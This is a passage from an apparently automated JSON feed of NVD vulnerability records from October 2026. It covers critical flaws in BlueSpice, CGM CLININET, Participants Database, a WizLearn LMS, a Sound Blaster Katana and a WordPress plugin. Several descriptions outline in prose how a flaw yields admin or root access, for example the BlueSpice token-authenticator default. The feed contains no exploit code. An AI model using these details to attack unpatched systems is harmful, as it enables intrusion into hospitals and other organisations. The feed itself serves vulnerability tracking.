fixes.","publishedAt":"2026-10-23T12:18:06.410Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107685","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00273,"percentile":0.19533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107685&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107685","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107685","type":"primary","publishedAt":"2026-10-23T12:18:06.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107685&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107685, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-25784","cveId":"CVE-2026-25784","aliases":[],"kind":"vulnerability","title":"Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt!","summary":"Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt! GmbH BlueSpice (container image bluespice/wiki) allows privilege escalation. The default value of $mwsgTokenAuthenticatorServiceCIDR in the container's LocalSettings.php was intended to restrict internal service authentication to the container network, but evaluated to an empty string when the environment variable WIKI_SERVICE_TOKEN_AUTH_ALLOWED was not set. An empty value disables the IP restriction in the token authenticator component (mwstake/mediawiki-component-token-authenticator). As a result, any user with read access to the wiki (anonymous users on publicly readable wikis) could obtain an application token from the REST API and use it to get a session with sysop privileges as the internal service user.\n\nThis issue affects BlueSpice: from 5.2.3 before 5.2.7, and the 5.2.7 container images published before 2026-10-19 15:37 UTC.","detail":"Initialization of a Resource with an Insecure Default vulnerability in Hallo Welt! GmbH BlueSpice (container image bluespice/wiki) allows privilege escalation. The default value of $mwsgTokenAuthenticatorServiceCIDR in the container's LocalSettings.php was intended to restrict internal service authentication to the container network, but evaluated to an empty string when the environment variable WIKI_SERVICE_TOKEN_AUTH_ALLOWED was not set. An empty value disables the IP restriction in the token authenticator component (mwstake/mediawiki-component-token-authenticator). As a result, any user with read access to the wiki (anonymous users on publicly readable wikis) could obtain an application token from the REST API and use it to get a session with sysop privileges as the internal service user.\n\nThis issue affects BlueSpice: from 5.2.3 before 5.2.7, and the 5.2.7 container images published before 2026-10-19 15:37 UTC.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:06.943Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-25784","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00345,"percentile":0.27847,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-25784&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-25784","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25784","type":"primary","publishedAt":"2026-10-23T09:17:06.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25784&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-25784, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112862","cveId":"CVE-2026-112862","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in xnau webdesign Participants Database participants-database allows Object Injection.This issue affects Participants Database:...","summary":"Deserialization of Untrusted Data vulnerability in xnau webdesign Participants Database participants-database allows Object Injection.This issue affects Participants Database: from n/a through 2.7.8.5.","detail":"Deserialization of Untrusted Data vulnerability in xnau webdesign Participants Database participants-database allows Object Injection.This issue affects Participants Database: from n/a through 2.7.8.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:06.393Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112862","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.00408,"percentile":0.34773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112862","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112862","type":"primary","publishedAt":"2026-10-23T09:17:06.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112860","cveId":"CVE-2026-112860","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in xnau webdesign Participants Database participants-database allows Blind SQL...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in xnau webdesign Participants Database participants-database allows Blind SQL Injection.This issue affects Participants Database: from n/a through 2.7.8.5.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in xnau webdesign Participants Database participants-database allows Blind SQL Injection.This issue affects Participants Database: from n/a through 2.7.8.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:06.280Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112860","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.00323,"percentile":0.25121,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112860&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112860","type":"primary","publishedAt":"2026-10-23T09:17:06.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112860&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112860, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30054","cveId":"CVE-2025-30054","aliases":[],"kind":"vulnerability","title":"CGM CLININET is vulnerable to local privilege escalation.","summary":"CGM CLININET is vulnerable to local privilege escalation. The service that processes incoming HL7 messages runs with root privileges, but due to incorrect permissions, its scripts and configuration files can be modified by the uhcapache user. An attacker with uhcapache privileges can modify these files to execute arbitrary code as root.\n\n\nThe vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.","detail":"CGM CLININET is vulnerable to local privilege escalation. The service that processes incoming HL7 messages runs with root privileges, but due to incorrect permissions, its scripts and configuration files can be modified by the uhcapache user. An attacker with uhcapache privileges can modify these files to execute arbitrary code as root.\n\n\nThe vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:05.290Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-30054","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.001,"percentile":0.00849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-30054","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30054","type":"primary","publishedAt":"2026-10-23T09:17:05.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30050","cveId":"CVE-2025-30050","aliases":[],"kind":"vulnerability","title":"CGM CLININET is vulnerable to Code Injection in the RunCGI.pm component, which dynamically imports the module specified as a query parameter and executes code from untrusted data...","summary":"CGM CLININET is vulnerable to Code Injection in the RunCGI.pm component, which dynamically imports the module specified as a query parameter and executes code from untrusted data provided by the user. An attacker from adjacent network can supply a crafted query parameter to have an attacker-controlled module imported which results in arbitrary code execution with root privileges.\n\n\nThis issue was fixed in version 2026.MS3","detail":"CGM CLININET is vulnerable to Code Injection in the RunCGI.pm component, which dynamically imports the module specified as a query parameter and executes code from untrusted data provided by the user. An attacker from adjacent network can supply a crafted query parameter to have an attacker-controlled module imported which results in arbitrary code execution with root privileges.\n\n\nThis issue was fixed in version 2026.MS3\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:04.810Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-30050","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00222,"percentile":0.1266,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30050&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-30050","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30050","type":"primary","publishedAt":"2026-10-23T09:17:04.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30050&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30050, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30047","cveId":"CVE-2025-30047","aliases":[],"kind":"vulnerability","title":"CGM CLININET is vulnerable to Remote Code Execution caused by deserialization of untrusted data.","summary":"CGM CLININET is vulnerable to Remote Code Execution caused by deserialization of untrusted data. The server exposes an HTTP-based API, used by the administrative module, that exchanges data using Java object serialization. An attacker within the same local network is able to send requests to this API and transmit a crafted serialized object. When it is deserialized, it allows arbitrary code execution with root privileges on the server. \n\n\nThis issue was fixed in version 2026.MS3","detail":"CGM CLININET is vulnerable to Remote Code Execution caused by deserialization of untrusted data. The server exposes an HTTP-based API, used by the administrative module, that exchanges data using Java object serialization. An attacker within the same local network is able to send requests to this API and transmit a crafted serialized object. When it is deserialized, it allows arbitrary code execution with root privileges on the server. \n\n\nThis issue was fixed in version 2026.MS3\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:04.573Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-30047","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00379,"percentile":0.31556,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-30047","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30047","type":"primary","publishedAt":"2026-10-23T09:17:04.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30047, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30046","cveId":"CVE-2025-30046","aliases":[],"kind":"vulnerability","title":"In the CGM CLININET application server, multiple processes responsible for HL7 communication with external systems run with root privileges while processing untrusted data...","summary":"In the CGM CLININET application server, multiple processes responsible for HL7 communication with external systems run with root privileges while processing untrusted data received from those external systems. An attacker in adjacent network able to send data to these HL7 communication processes can achieve remote code execution with root privileges. \n\n\nThe vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.","detail":"In the CGM CLININET application server, multiple processes responsible for HL7 communication with external systems run with root privileges while processing untrusted data received from those external systems. An attacker in adjacent network able to send data to these HL7 communication processes can achieve remote code execution with root privileges. \n\n\nThe vulnerability was confirmed to affect versions up to 2026.MS3 but later versions may also be vulnerable.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T09:17:04.450Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-30046","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00263,"percentile":0.18021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30046&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-30046","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30046","type":"primary","publishedAt":"2026-10-23T09:17:04.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30046&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30046, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63244","cveId":"CVE-2026-63244","aliases":[],"kind":"vulnerability","title":"An authentication\nbypass vulnerability in WizLearn Technologies' Learning Management System (LMS)\ncould allow an unauthenticated remote attacker to bypass password\nauthentication...","summary":"An authentication\nbypass vulnerability in WizLearn Technologies' Learning Management System (LMS)\ncould allow an unauthenticated remote attacker to bypass password\nauthentication and the OAuth authentication flow by sending a specially crafted\nPOST request, potentially resulting in unauthorised access to user accounts and\nfull administrative control of the LMS platform.","detail":"An authentication\nbypass vulnerability in WizLearn Technologies' Learning Management System (LMS)\ncould allow an unauthenticated remote attacker to bypass password\nauthentication and the OAuth authentication flow by sending a specially crafted\nPOST request, potentially resulting in unauthorised access to user accounts and\nfull administrative control of the LMS platform.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T08:16:55.320Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63244","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00656,"percentile":0.51121,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63244&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63244","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63244","type":"primary","publishedAt":"2026-10-23T08:16:55.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63244&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63244, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55981","cveId":"CVE-2026-55981","aliases":[],"kind":"vulnerability","title":"A firmware verification vulnerability in Creative Sound\nBlaster Katana could allow an attacker to modify a legitimate firmware image\nand upload the modified firmware to an...","summary":"A firmware verification vulnerability in Creative Sound\nBlaster Katana could allow an attacker to modify a legitimate firmware image\nand upload the modified firmware to an affected device.","detail":"A firmware verification vulnerability in Creative Sound\nBlaster Katana could allow an attacker to modify a legitimate firmware image\nand upload the modified firmware to an affected device.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T07:16:38.420Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55981","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00231,"percentile":0.13804,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55981&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55981","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55981","type":"primary","publishedAt":"2026-10-23T07:16:38.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55981&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55981, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94267","cveId":"CVE-2026-94267","aliases":[],"kind":"vulnerability","title":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not perform any capability check...","summary":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not perform any capability check when updating a post through one of its front-end form actions, allowing unauthenticated visitors to overwrite arbitrary posts, including the ones in which the site stores its own field definitions, which in turn leads to arbitrary code execution on the server. Exploitation requires the site to publish a form whose post-update action maps both its target and its content to visitor-submitted values.","detail":"The Advanced Custom Fields: Extended WordPress plugin before 0.9.2.8, Advanced Custom Fields: Extended PRO WordPress plugin before 0.9.2.8 does not perform any capability check when updating a post through one of its front-end form actions, allowing unauthenticated visitors to overwrite arbitrary posts, including the ones in which the site stores its own field definitions, which in turn leads to arbitrary code execution on the server. Exploitation requires the site to publish a form whose post-update action maps both its target and its content to visitor-submitted values.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T06:17:08.200Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94267","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00394,"percentile":0.33278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94267&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 